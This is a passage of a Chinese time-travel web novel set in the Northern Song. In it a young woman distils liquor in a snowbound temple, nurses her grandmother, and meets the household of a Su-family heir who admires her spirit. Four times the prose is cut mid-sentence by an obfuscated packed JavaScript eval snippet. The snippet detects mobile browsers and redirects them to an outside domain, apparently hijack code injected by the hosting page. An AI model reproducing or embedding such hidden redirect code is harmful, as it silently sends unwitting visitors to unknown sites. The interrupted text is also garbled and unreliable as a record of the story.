苏老人却只当她是来庙中赏雪的寻常香客，一面整理着被勾乱的袍袖，一面随口闲谈。 “小娘子可是随家人来寺里进香的？我家公子的别业就在寒山左近，小娘子若得空时，不妨来庄上吃盏清茶认认门。” 这就是场面上的客套话了。 所有改日再约，听在桑梓耳中基本都等于后会无期。 她也无意叫破这层客套，只微微颔首应了声好，目送着老人蹒跚着走下山路，便径直带着盐和松针回了偏殿。 推开那扇吱呀作响的殿门，将松针和青盐先放到一边儿，转身便去照看榻上的祖母。 末了用指尖捻起青盐，再垫上松针，用指尖将松针与青盐细细揉搓。 这样不仅不怕青盐化掉，和松香糅合起来，松脂清香便渐渐散发出来，竟成了现成的松香牙膏。 桑梓一边干，一边忍不住得意地哼上一声。 这可是她自创的技能了，那公子不就知道个松针洁牙嘛，哪像我这手法揉搓出来的清香四溢？ 搓完牙膏便整了一碗雪水刷了牙，桑梓这才珍之重之地舀起一匙蒸馏酒，看着酒液的成色，忍不住低头尝了小小一口。 嘶…… 这酒入口如刀，刮得喉头火辣辣地烧，可那股子凛冽的醇劲儿却让她眼眶发热。 虽然直扎嗓子，但到底是她在这北宋年间头一回真真切切酿成的酒！ 少女把一匙酒就这样吃尽，仰头抹了把眼角沁出的泪花，就着满口辛辣的酒气呵出一团白雾，冻红的脸上却绽开个实实在在的笑。 倘若懂行的人看她这般品酒，必要嗔上一句牛嚼牡丹—— 哪有人这般仰头便灌的？ 宋人品酒讲究个三品九转，先观色，再闻香，后入口，含在舌尖细细咂摸，待酒液温热了方缓缓咽下，如此方显其妙。 像桑梓这么喝酒的人，一般都得挨上一句贼配军的骂名，可这般实在的喝法，反倒衬得她在这寒冬里格外有股子活泛气儿。 冬日喝酒，自是要大口喝才痛快，暖了肚肠慰了心肠，哪来那么多虚头巴脑的讲究！ 小酒娘脸儿红扑扑的，也不知是酒气烧的，还是叫寒气激的，两下里夹攻，倒显得她眉眼间透出几分山野灵气。 冻得发红的鼻尖上还沾着几点碎雪，额发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488998|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱糟糟贴在鬓边，倒衬得整个人像雪地里冒出的一株新笋。 少女满意地咂了咂嘴，正要去冲淡盐水，却听见榻上传来一声微弱的呻吟—— 老祖母竟悠悠转醒了。 她也不急着睁开眼睛，只慢悠悠地眯着，手指悄悄在褥子上画圈圈。 “我的囡囡可还藏在眼前？” “在呢，阿婆眼睛闭好，囡囡藏好啦！” 桑梓一个蹦哒就窜到榻边，故意让老太太摸到自己的鬓角，发梢扫过老人的手指，自己却忍不住先咯咯笑起来。 “阿婆可好些了？先起来润润嗓子吧，您都烧了一宿了。” 她把老太太从薄褥上扶起来，麻利地冲了淡盐水，小心地凑到祖母唇边。 祖母就着她的手啜了几口，目光渐渐清明起来，一边轻抚孙女的发梢，一边忽然发问。 “盐是哪里来的？莫不是也是庙里赠的？” “是孙女偶遇一位老丈赠盐。” 一句谎话用多了就显得不自然，桑梓顿了顿，索性将遇见苏管家的事细细说与祖母听。 她本想一语带过，却不料老人竟是个有见识的，沉吟片刻忽然叹了口气。 “原是苏家人啊。” 阿婆竟然认得？ 桑梓有些诧异，记忆中原主家里只是寻常的小康人家，就连这金陵的中等门户都算不上。 可那老丈哪怕只是自称一声老奴，衣着也堪称风雅，可不是桑家这等门第能轻易攀附的。 “他说自家公子在寒山有别业。” “那便没错了，这苏家正是眉山苏氏的旁支，碑上刻着名的清贵门第，如今虽避居金陵，老宅里藏的可是真真切切的翰墨书香。” 竟是三苏的苏家？ 这还是某人第一次听到历史人物的名字，不由得便是一惊。 真是家有一老，如有一宝啊！ “至于这寒山上的苏公子，”桑家老祖母笑着看了自家孙女一眼，“倒是比你只大上几岁，正是那位子由公的嫡孙。” “祖母何以得知这许多细节？” 老人一听却洒然笑起来，手点着孙女的鼻尖，又顺势滑到脸颊捏了捏软和肉。 “可真是小酒痴！满金陵做酒家的，谁人不知那位酒公子？” 嘿，酒公子？ 那她可不太服。 今日之前便罢，今日之后…这金陵就得多出一位酒娘子了！ 苏管家自然想不到此番相逢，竟惹出桑小娘子这般的豪言壮语。 老头儿踩着积雪往山下走，忍不住回头望了眼半山腰的寺庙飞檐，心里头还留着那小娘子单手卸箱笼的利落劲儿。 这冰天雪地的，寻常闺女早冻得缩手缩脚，偏她摘松针挑雪，扶人卸货都带着股脆生生的爽利。 他走到山庄门楣下时，青石阶上的积雪已经被扫开。 见老管家腿上全是雪印子，连头上的发髻也歪了，几个扫雪的小厮慌忙丢了扫帚上前拍打。 “丈人可曾摔着？这大雪天的怎不让小的们去接！” “不妨事，公子去汴京的行装可都归置妥当了？” 小厮们跟着老管家进了山庄，闻言缩着脖子纷纷点头。 更有那一二伶俐的本要答话，却见得前头风波亭里立着他们长公子，于是便住了嘴，只悄悄比出一个“妥帖”的手势来。 苏老人也看到亭中那道青衫身影正俯身拨弄香炉，炭火映得他指节分明，抬眉自有清贵之气，与炉中沉香袅袅交融，宛若画中人。 霎时满院寂然，唯闻松雪坠地簌簌。 5. 所谓高人 “公子此行，预备在汴京盘桓几日？” 见老管家迎到自己面前，苏陵却不急答。 他抬手将香箸轻轻搁回莲花香炉的鸠口，指尖在被炭火煨得温热的铜壁上略一停留，方不紧不慢地抬眼，缓声开口。 “汴京风云难测，岂是旬日可量？此番为祖父周旋，归期…不必问，亦不必等。” 并非他妄言，实在是这趟汴京之行，着实是赶在了风口浪尖上。 去岁官家改元绍圣，打出“绍述”圣祖遗志的旗号，朝廷风向便为之一变。 那位高踞庙堂的章相，手段比熙宁年间的老王相公更凌厉几分，借着“绍圣绍述”的名头，清算起元祐旧臣来是毫不手软。 苏陵的祖父苏辙，便是因早年与章相公政见相左，被归入“元祐党人”一流，一年之内连遭三贬，从应天府判官直贬入试少府监，如今更是有风声说要追贬岭南。 苏家本是清流门户，这般境遇下，苏陵此番入京，名为代祖父打点周旋，实则是要在这新旧党争愈演愈烈的漩涡里，为家族寻一条岌岌可危的退路。 谁不知如今这汴京城里，一步踏错便是万劫不复！ 眼瞧自家公子思绪渐重，竟有伤神的迹象，苏管家忙躬身，将一直收在箱笼里的那几卷旧书取出。 书卷用半旧青布裹得齐整，他双手捧至苏陵面前，低声道。 “城南书铺的掌柜特意留的，说是前朝酿酒方子的残卷，掌柜的赌咒发誓，道瞧着像是《酉阳杂俎》里失传的附录……” 老话说得好，熟读唐诗三百首，不会作诗也会吟。 跟在公子身边久了，耳濡目染，虽酿不出好酒，但这故纸堆里的门道倒也能摸出几分。 苏陵一见这难得的残页，眉间虽依旧不改凝重，到底露出几分真切的笑意，接过便细细摩挲那青布封皮。 “安叔且替我收好，待回来再细览。” 老管家连忙接回那书，刚准备自去书房放置，擦肩而过的瞬间，苏陵却猛然嗅到一阵极凌厉的酒气从他衣袖间传来。 他下意识地深吸一口，那酒气竟像一道线，只不管不顾地破开满亭的雅香，带着一股烈性直冲头顶。 却与醇厚温和的金陵本地酒截然不同，可谓侵略十足！ “且留步！” 苏陵的嗅觉何其敏感？一时间竟被呛得眼角微微发涩，可眼神却倏地亮了起来，不禁脱口唤住。 还不等老管家应声，自家公子已两步上前，也顾不得礼节，伸手便攥住了老管家将将擦过的袖口，拉回到鼻尖深深一嗅。 那气息霸道，直往他心口里钻，像一道凛冽的泉水，激得苏陵呼吸一窒。 这绝非金陵本地酒的温厚路数。 在金陵住了这么多年，十里秦淮两岸的酒坊，甚至左近州县稍有名字的私酿，他都尝遍了。 可苏陵从未有过这般体验，这酒气带着松木新鲜的香气，又混着石上青苔的生机。 “安叔，你身上的酒气何来？可是偷偷吃酒了？” “老奴岂敢偷饮，许是方才在庙里，沾了一位小娘子身上的酒气吧。” 老管家一五一十地将方才庙里如何遇见那小娘子摘松针、如何出手相助、又如何赠盐的经过细说一遍，连带着那酒气的来历也揣测了个大概。 苏陵一边凝神听着，一边任由这缕奇特的酒香钻进鼻尖，不多时竟忘了满腹思绪，如同闷夏里浇头一场冰雨，胸中块垒被荡开几分，神思霎时一清。 这酒倒是阴差阳错助了他一把。 此番若能求得章相公高抬贵手，让祖父以年老多病为由上书乞骸骨，准其致仕归养，便是万幸。 届时他便在金陵寻一处僻静院落，将祖父从这党争漩涡里接出来安度晚年。 总好过像伯祖父苏轼那般，年过花甲还要被一贬再贬，远谪岭南！ 想到此处，苏陵嘴角不由泛起一丝苦笑。 他那伯祖父苏轼是个何等豁达的性子，听闻贬到岭南那般瘴疠之地，家书中竟还能兴致勃勃地说起当地生蚝肥美，嘱托弟弟多多保重。 可自家祖父苏辙的性情却是截然不同—— 那是个将规矩体统刻进了骨子里的老翰林，行事一贯严谨端方，讲求个进退有度。 这般年岁了，若真被抛掷到那蛮荒之地，只怕不像他那兄长般能苦中作乐，反倒是忧谗畏讥之心，就先要磨去半条性命。 苏陵一边想着，一边又吸了吸鼻子，一副势要将那酒香尽收腹中的架势。 当真是好新鲜的烈气，奈何明日就要远行，不然真要去寻寻这酒香的来处，看看是何方高人，竟能蒸出这般清冽透彻的酒气！ 虽然不能即刻动身，苏陵却不见恼，只是摇头失笑，心道这倒是个好兆头，或许预示汴京之事尚有转机。 况且如今虽喝不到这酒，但自家也不是没有佳酿啊！ 于是索性对一旁的老管家吩咐起来。 “取咱们的金陵春来。” 不多时，安叔便捧来一个素色瓷瓶，并两只天青釉的酒杯。 酒盏须臾间就被斟满，他却不急饮，只用一只手轻轻托起杯底，迎着光细细端详那酒液的成色。 然后抿一小口，让酒液在舌尖滚过，这才仰头饮尽。 坏了。 这杯他亲手酿造的金陵春，虽然依旧入口绵软，甘甜依在，但感官对比下竟显得如此寡淡温吞，甚至有些庸常软腻。 仿佛前一瞬还在经历朔风扑面，下一刻却被裹进了陈年的棉絮里，浑身力气都泄了。 苏陵皱皱眉，本想着临行前最后一樽，饮这一杯家乡酒，聊以慰藉那被勾起的酒瘾。 谁成想，竟叫这鲜明的对比彻底扰了兴致，于是只略踌躇了片刻，便开口仔细叮嘱。 “过几日，安叔记得去寺中添些香油，若机缘巧合再遇那位高人，便代我致意，请教她那手酿酒的绝技可有何名目？” “他日有缘，定当讨教。” 老管家不由咂舌。 “当真如此难得？” “诶，安叔这就不懂了吧？” 苏陵也懒得品了，将杯中酒一饮而尽，自顾自拿起手边的折扇一敲，眼底的敬意带着几分棋逢对手的欣喜，愈发亮了。 “寻常酒水，力求的是入口绵柔，回甘悠长。而此酒，它不讲道理，要的就是这一口冲顶的劲儿！” “倒是让我想起十二岁那年，我偷饮伯祖父的烈酒醉倒，还是你背我回房，在我床头守了半宿。那酒与今日此酒相比，竟是小巫见大巫了。” “酿这酒的人，定然是个不肯与世俗口舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488999|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妥协的狠角色。” 倘若桑梓在此，只怕就此便会把对酒公子的不屑收上一收了。 毕竟单凭一缕酒气，就能将她为人都猜个分毫不差，这可不是寻常匠人能做到的事情。 老管家闻言眼睛瞪得圆圆的，嘴巴张了张，半天也没憋出一句话。 他只感到那小娘子臂力惊人，却不料她手上竟有这等酿酒的手艺，连公子都这般推崇！ “那公子，可用老奴去探探那小娘子的酒坊在何处，也好备着日后寻访切磋？” 苏陵却将折扇一收，摇头笑道。 “萍水相逢已是机缘，刻意探听反倒落了下乘，待汴京事了，说什么也要寻遍金陵，当面请教！” 但桑梓注定是不会枯坐古庙静待机缘的性子。 那些小僧儿怵她，她不仅浑不在意，反倒趁着祖母退了烧，还有闲情逸致将余下的酒醪并米饭捏出几个丸子来。 之前蒸好的一点点米饭与蒸馏余下的酒醪拌匀，指尖轻轻揉捏，然后就见米粒渐渐黏连成团，散发出清甜的香气。 然后放凉一会儿，再掐下一小块在掌心搓圆，一个个白润的丸子顺着指缝滚到香炉盖里，瞧着倒似剥了壳的鸡子，特别可爱。 最后用陶盆盛些残雪，将盛了丸子的香炉盖坐于其上，权当个简易冰鉴。 不过半个时辰，外皮便能结出一层凉意，取一枚放入口中，先是觉着沁心的凉，轻轻一抿，口感和糯米糍一样。 内里酒醪的微醺甜意混着米香倏地漫开，自有一股清冽甘醇在齿间流转。 哪怕咽到肚子里，嗓子里也能留着些凉丝丝的回味，在这燥郁寒冬里，竟比什么珍馐都来得爽利可口。 桑梓满意地咂咂嘴。 果然，冬天才是最适合吃冰品的季节。 她不知道传说中汴京夜市的冰雪冷元子会不会比这更好吃，但此刻能吃上这么一口冷点，真是人生莫大幸福。 刚准备去收拾那摊家什，却瞥见殿角有个光溜溜的小脑袋正抻着脖子往这边瞅。 那副馋虫钻心的模样教人瞧着既好气又好笑。 真是奇了怪了。 他们不是怕她怕得很吗？ 先前还避人如蛇蝎，怎地此刻倒像被蜜黏住了脚？ 桑梓捏了捏手中最后一枚团子，眼睛眯了眯，忽地信手掷出，正中小沙弥的光脑门。 小沙弥惊得哎哟一声，忙不迭一伸手接住，那丸子却正巧落在手里。 他猛一抬头，正撞上桑梓那双促狭的眸子，小脸儿便腾地红了，攥紧那枚凉沁沁的丸子扭头便跑。 就知道跑。 这儿的孩子们一个个腿脚倒伶俐，都该送去汴京踢蹴鞠。 但不多时，殿外便响起一阵窸窸窣窣的脚步声，先前那个小沙弥去而复返，这次还带来了三四个年纪相仿的师兄弟。 几个人捱捱挤挤躲在门边，探头缩颈，脸上的神情既害怕又渴望，写满了“想吃”两个字。 这下桑梓可看清了他们的形容，原来那领头的孩子只是剃了个青头皮，囟门处还蓄着撮胎发，显然是还没受戒的小沙弥。 其他几个孩子也和他差不多，头上更是连象征正式出家的香疤都还没有烫。 “小娘子…这丸子，能分我们几个尝尝么？” 6. 入山 那小沙弥涨红了脸，手指绞着衣角，声音细若蚊蚋，眼睛却粘在香炉盖里白润的米丸上挪不开。 得了一个还不够，原来是个贪嘴的小和尚。 坐在门槛上的少女却也不说到底给不给，只笑眯眯地抄起竹筷轻轻拨弄着香炉盖里的丸子，眼尾瞟向那几个缩头缩脑的小家伙。 “若是应了你们，回头可别又躲着我走。” “再不躲了……” 孩子们捱捱挤挤你推我搡，终是那个领头的被搡到前头，缩着脖子小声嘟囔。 话没说完，自己先臊得耳根通红，后头几个小的更是把脑袋埋得快杵到胸口，只留几双眼睛偷偷往上瞟，眼巴巴望着那香炉盖。 见那小沙弥缩头缩脑的模样，桑梓不由失笑，她捏起一枚冰丸，却不直接递过去，只托在掌心，迎着门外透进的天光细看。 “这么馋可怎么出家呀？佛门清净地，不怕沾了荤腥？” “斋厨今日只有冷粥腌菜…这丸子瞧着是素米做的。” 领头的小沙弥咽了口唾沫，眼睛盯着那丸子，嘴里却老老实实地回答起来。 他身后几个小光头也齐齐点头，眼巴巴的样子，倒像一窝雏鸟。 桑梓心下明了。 寺中斋饭清寡，半大孩子正是长身体的时候，哪能不馋零嘴？ 于是索性将香炉盖往前一推，但还不等那几个孩子伸手，她竹筷忽地一转，轻轻压住香炉盖沿，眼波扫过一张张馋涎欲滴的小脸。 “慢着——要吃丸子，自然需要拿东西来换。” 小沙弥们面面相觑。 半晌，那领头的才摸了摸脑袋，像是下定了什么决心，期期艾艾地开口。 “小娘子若肯再给两枚…我拿个要紧的消息同你换，保准是你需要的……” 保准是她需要的？ 她闻言眉梢轻挑，眼波在那小沙弥脸上转了两转，见他虽缩着脖子，眼神却透着一股子笃定，倒像真捏着什么了不得的底牌似的。 于是便捏起一个丸子递过去。 “且说半句来听听，若真值当，这香炉盖里的任你取用。” 孩子连忙把丸子塞进嘴里，含糊不清地告诉桑梓一件事—— 原来是这禅院的大师兄要回来了。 据这个小沙弥所讲，他们这个大师兄法号叫慧明，乃是住持座下首徒，平素最重清规，眼里容不得半点砂子。 若教他知晓有人在禅院酿酒，莫说桑梓这般无依无靠的，便是皇亲国戚，他也敢硬着脖颈往衙门送。 “他如今不在禅院？” “大师兄往城里化缘去了，约莫三五日就回，住持师傅据说明日也要进城赴大悲寺的冬至斋会，到时就没人护着你了。” 见小沙弥吃完嘴里的一个，眼睛还不住瞟向香炉盖里剩余的丸子，桑梓便又拈起两枚丸子递过去。 “小小年纪倒会讨价还价，这消息确实值当——剩下的都归你们了。” 小沙弥们当即欢呼一声，七手八脚分了丸子，也顾不得冷，囫囵塞进嘴里，冻得龇牙咧嘴却满脸欢喜。 桑梓却坐在一边皱起眉头，望着窗外渐沉的日头暗自思忖起来。 无论怎么想都是个死局，看来这庙是待不得了。可如果下山去，就又要重新找地方住宿。 她如今手头可连半贯钱都凑不出，总不能露宿街头吧？ 老祖母身子刚好，只怕一场夜露重霜，就要落下风寒侵骨的病根，到时候可真要油尽灯枯了。 实在不行就带着祖母去投靠那位苏管家，凑合三五日工夫，足够她酿出新酒兑些铜钱，另寻个稳妥住处了。 她不是那种等火烧眉毛才跳脚的性子，但是心里一旦生了一个还算靠谱的主意，自然也不是那种还兀自焦虑的主。 指节在膝上轻轻一叩，眼底那点愁云便散了个干净，当即挽袖起身，心里头那杆秤已然端得平平正正。 明日就去山间探一探那山庄所在。 至于现在—— “丸子分我点儿！” 少女探手就去捞那香炉盖里剩的最后几枚丸子，腮帮子还鼓着的小沙弥们顿时傻了眼。 “那是我给师叔祖留的！” 领头的小沙弥不依不饶地大叫，其他孩子也七嘴八舌地补充起来。 “住持师傅的米袋不晓得被谁顺走了，横竖寻不见，今日斋厨按米袋分粮，住持师傅那份便落了空，至今还饿着肚子呢！” 桑梓一怔，下意识低头看看指尖捏着的白玉丸子，忽地觉得有些烫手。 原来那袋糙米，竟是老和尚从自己牙缝里省下来的口粮。 兴，百姓苦；亡，百姓苦。 到了王朝末期，哪怕是特权阶级也免不了要数着米粒下锅的窘迫啊！ “但这里面有酒醪，你们师叔祖应当是不能吃的，而且照理来说你们这些小沙弥也不应当吃的。” “我们都还只是童子，还未入僧籍呢！” 这句话，可一下就碰上孩子们的舒适区了，一张张小嘴叽叽喳喳地给桑梓科普起来。 原来北宋的僧侣制度有点像大学教授的晋升，最体面的是试经度牒僧，需经州府考核方能领取度牒，再上戒坛受戒。 次等是买牒僧，因朝廷财政吃紧，公然鬻卖空名度牒，富家子使钱便能混个僧籍。 最末等是私度僧，连度牒都无，自行剃发便敢称和尚。 至于寺中这些垂髫小儿，七至十五岁称童子，十六岁以上称行者，统叫作童行。 须经寺众考察、官府勘验，方得剃发为沙弥。待年满二十，方能受具足戒升为比丘。 少女听得直咋舌，搞不好孙悟空当初被叫做孙行者就是源自这个制度哩！ 直到晚课的钟声悠悠传来，小沙弥们这才惊觉时辰已晚，慌忙作鸟兽散，临走还不忘将香炉盖擦得锃亮。 桑梓想着明日往山里走一走，于是也和祖母早早歇下，待得第二日晨钟敲过，东方既白，早已将行囊收拾利落。 这竟是个难得的晴日，她将最后剩的一点米包了揣进怀里，又给老祖母掖了掖被角，这才出了门。 自从穿越以来还没出过这禅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489000|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院呢，结果刚出了大门便差点滑倒，原是石阶上结了一层薄冰。 她踉跄半步稳住身形，低头瞧见石阶上亮晶晶的薄冰，反倒童心忽起，故意用鞋尖去碾那冰面。 专拣薄脆处下脚，踩上去咯吱作响，反而惊起松枝上团着的雀儿。 一路下山，只见山涧腾起的白汽盘盘旋旋，倒把冬日萧瑟揉出几分人间暖意。 那苏管家说山庄就在左近，但这个左近可就太含糊了。 宋人嘴里说的左近，搁在金陵城外的山坳子里，少说也得有个三五里的路，前提还是认准方向。 但好在走着走着就能看到人，多是些上山砍柴的樵夫，或是背着弓箭的猎户，远远还能看到山下冒出的炊烟，总算不是荒无人烟的地界。 对桑梓来讲倒是蛮新鲜的体验，毕竟她在庙里只见过和尚，但此时此刻见的，却都是货真价实的宋人。 和尚模样上大抵都差不离，但宋人可就不一样了。 富贵者或能裹一件絮棉的交领长袍，贫寒者则多穿麻布短褐，颜色俱是青黑褐黄—— 非是百姓不爱鲜亮，实是朝廷对服色有定规，庶人不得僭越。 就拿桑梓问路的这两个樵夫猎户来说，一个穿着缺胯袍，为的是攀山伐木时活动便利；一个穿着对襟袄，箭袖用皮条扎紧，防的是林间枝杈。 至于脚上的物事，我们总说现代人看鞋就能看出一个人的身份高低，但其实宋人看鞋也能瞧出个七七八八—— 官老爷蹬的是粉底皂靴，城里富庶些的能穿双麻履，庄户人踩的是芦草编的芒鞋。 至于这些山野之人？ 脚上不过是用枯藤乱草胡乱扎的草脚马子，雪地里走一遭便透湿，全凭往里头塞些垫草硬扛着。 毡靴倒是扛水，可那是城里坐贾的排场。 可看着人家脚底下踩的草鞋，她脸上是一点儿也笑不出来。 自己脚底下的与其叫鞋，还不如叫做草编的碎布，勉强兜住脚底板，鞋底都快磨穿了。 但好在这山路倒也不绊脚，桑梓一路深入，竟还在看到了意外之喜。 野橘子树。 一丛丛的，瞧去极夺目的，俏皮地从枯枝里攒出金铃铛似的果子，沉甸甸压弯了枝头，正是酿酒的好材料。 有心去摘，可刚踮脚伸手去够那最低的枝桠，这才想起身边偏是没带剪子篮子。 空对着满枝金元宝，也只得先记下方位，待回头取了家什再来收拾。 又深深浅浅地走到日头爬过山尖，晒得人脊背发烫，桑梓这才看到山庄的青瓦漏出一角。 飞檐翘角下还垂着未化的冰凌子，石阶蜿蜒处隐约能看见两扇朱漆大门，铜环在日头下反着光。 走了这半个时辰的荒山野路，忽然见着这般齐整庄院，她心下便有了底—— 十有八九便是此处了。 正要抬脚，忽见十余骑人马拥着一位青衫公子，自那朱漆大门内驰出。 只是彼此眼中惊鸿一瞥。 但见山风吹雪，一点清光，两处风华，尽入山色有无间。 7. 祸事来 来就来 马脚倏忽掠过，惊起林间孤鸟。 桑梓也像一只隐在乔木枝下的孤鸟，屏息听着蹄声远去，这才侧身探出半张脸，望向来时山道上腾起的烟尘。 鸾铃声渐次消失在她来时的路上，只余下道上一行马蹄印，深深浅浅似犬牙交错，迤逦着指向金陵城的方向。 竟能在这山坳子里跑马！ 少女不由得倒吸一口凉气。 须知在北宋，马可不是随随便便就能骑的，官府对马匹管制极严，民间私马须得经市马司烙印登记，领了马契方能骑乘出门！ 那马契就好比车证，上面不但注明马主姓名、住贯，连马匹的毛色、年齿、特征都要详细标注，每岁还需赴官验视，相当于年检了。 当年庆历君子们耻于人抬轿，认为是以人为畜，可这等清高论调，也就是关起门来自家说说—— 你看他们谁敢当真拿到衙门口去说？ 可不是所有人都和他们一样可以直接骑马的。 庄户人家连驴骡都难得，便是小户有头毛驴代步已是了不得。这般十数骑骏马出行的排场，非勋贵官宦之家不能有。 光是十匹马的草料钱，就够五口之家嚼用一整年哩！ 更别提还需配齐鞍辔，专雇马夫，日常要精心喂养，饮以清泉，饲以苜蓿，稍有不慎便会掉膘。 高门大户的体面富贵，这才算在桑梓面前真切切地显出冰山一角。 但她可不是会被等闲富贵迷眼的人，一边目送那一行人转过山坳，一边心下反倒一松。 此时不去拜访，更待何时？ 本就是来探个虚实，未必要真个上前叩门，如今见正主儿不在，倒省了一番踌躇。 于是抬手拂了拂衣襟上沾的草屑，又将鬓角碎发抿到耳后，这才大大方方地走上前去。 甫一叩响门环，门后就露出一个青衣小厮，手里还攥着半块抹布，见来人陌生，眼中闪过一丝讶异。 “这位小娘子，不知有何贵干？” “劳烦通传一声，松下故人特来拜会苏管家。” 那小厮的目光先在她打了补丁的肘弯处停了停，顺带着将少女从头到脚扫了一遍。 见她虽衣衫褴褛，腰板却挺得笔直，眼神清亮得不似寻常村姑，这才扯着嗓子朝院里喊了声。 “苏老爹——有人寻！” 不多时，苏管家那身熟悉的青布直裰便到了门边。 一见是昨日庙里见过的小娘子，老脸立刻绽开笑容，眼角的皱纹都舒展开来。 哎呀，这省了他多少功夫！ 桑梓悬着的心也咚一声落回肚里，这才觉出掌心被指甲掐得生疼，低头一瞧，几个指甲印儿赫然在目。 装模作样也是有讲究的。 好比走江湖卖艺的，铜锣没敲响先软了手脚，看客们准得哄笑散场。 是以最要紧的就是一个气势，倘若旁人不语，反倒自己先露了怯，那便是未战先输，任你后头有千般本事也使不出来了。 于是一个暗自庆幸省了奔波功夫，笑得眼角褶子都挤作一团；一个心下诧异这老丈何故如此热络，面上却只将眉眼弯成新月。 两下里各怀心思，倒是一拍即合，热热闹闹往院里走，直教那小厮摸不着头脑。 这老管家今日是吃了喜鹊不成？ 平日里见着知县相公都懒得抬眼皮的主儿，怎地对个衣衫褴褛的小娘子倒像见了自家亲侄女一样？ 真是太阳打西边出来了。 桑梓亲亲热热地拉着老人的手转过照壁，就见却见青石板路蜿蜒通向一处暖阁，檐下悬着鸟笼，里头养着只八哥正学舌。 “吃酒去——吃酒去——好酒！” 吃酒的八哥？ 她看得有趣，忍不住多瞧了那扁毛畜生两眼，心道这苏家别业倒是处处透着不同寻常的趣味。 苏管家自从得了自家公子的话，一直暗暗留意着桑梓的言行举止，是以见她目光一瞥向那八哥，便知是得了机会。 “这鸟儿平日专爱讨酒吃，让小娘子见笑了。观小娘子神色，莫非也是知酒之人？” 言罢还不等回话，就见老头恍然醒悟似的，猛地一拍大腿！ “哎呀呀，小娘子怕还是不知我家公子的身份吧！” 桑梓：“……” 这唱的哪一出？ 她被这没头没脑的一嗓子唬得眼皮跳了跳，心道这老丈今日怎地像换了个人，说话做事都透着一股子戏文里的浮夸劲儿。 不过到底不好叫老人尴尬，还是顺着老管家的话头接了下去。 “正要请教老丈呢。” 老头等的就是她这一句，顿时眉开眼笑，连眼角深深的皱纹都舒展开来。 “好叫娘子知晓，我家公子乃是眉山苏氏嫡系，遍尝天下名酒，如今莫说江南酒坊，便是内酒坊的博士遇了疑难，也要快马加鞭来，然后客客气气在我们山庄门前递帖求教！” 这话一出，想必这位小娘子定要眼睛一亮，少不得软语相求能否得公子指点了吧！ 老管家自以为得计，便捋须微笑，抬眼去瞧桑梓的脸—— 却见那少女只略一颔首，嘴边的笑依旧是客客气气，就连声音也还是不紧不慢的。 “三苏之名满天下，原来贵府是这般显赫门第啊。” 这般显赫门第啊…… 显赫门第啊…… 门第啊…… 啊…… 然后呢？就没了？ 老管家望着桑梓淡定的小脸，一时间竟像个戏台上忘了词的丑角，干张着嘴却接不上话茬。 桑梓笑着回看他，眼波中分明漾着几分了然，倒像是早市上瞧着卖菜老农虚报斤两的明白人。 然后就见老人尴尬地搓着手干咳两声，硬是挤出个笑来，那殷勤劲儿倒比先前更足了。 “那小娘子想不想见见这山中的酒泉？” “酒泉？” 这桑梓可就得感感兴趣了。 要酿好酒须用好水，水的质量对于酿酒来说，可真是比粮食还要紧。 山泉清冽甘甜，酿出的酒自然绵柔爽口；而若是用了涩苦的井水，任手艺再精也免不了带上一股浊气。 苏管家见她眼睛倏地亮了起来，便知这话正说到了痒处。 于是赶紧就带着人往庄子外面的酒泉去，一边走，一边絮絮叨叨地给她讲这酒泉的缘故。 说是早年自家公子游山时偶见这泉眼冒泡，尝了一口觉着清甜沁人，回来便叫人凿石引流，专取了酿酒，这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489001|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年庄上的酒水都是靠它哩。 见桑梓听得入神，刚才那点丢掉的面子总算又捡了回来，不觉腰杆挺直了些，心里头又添了几分热络，话匣子就更是关不住了。 这下别说套人家小娘子的话了，反而自己先掏了心窝子，被小娘子带的思路早不知道跑到哪去了。 “桑小娘子也想用这酒泉？当然可以！” “小娘子不必担心我家公子，公子那边老奴去说便是。” 桑梓看着那泉眼，只见一股活水从石缝里泠泠地冒出来，清冽冽地撞在斑驳的岩壁上，溅起的水珠子颗颗透亮。 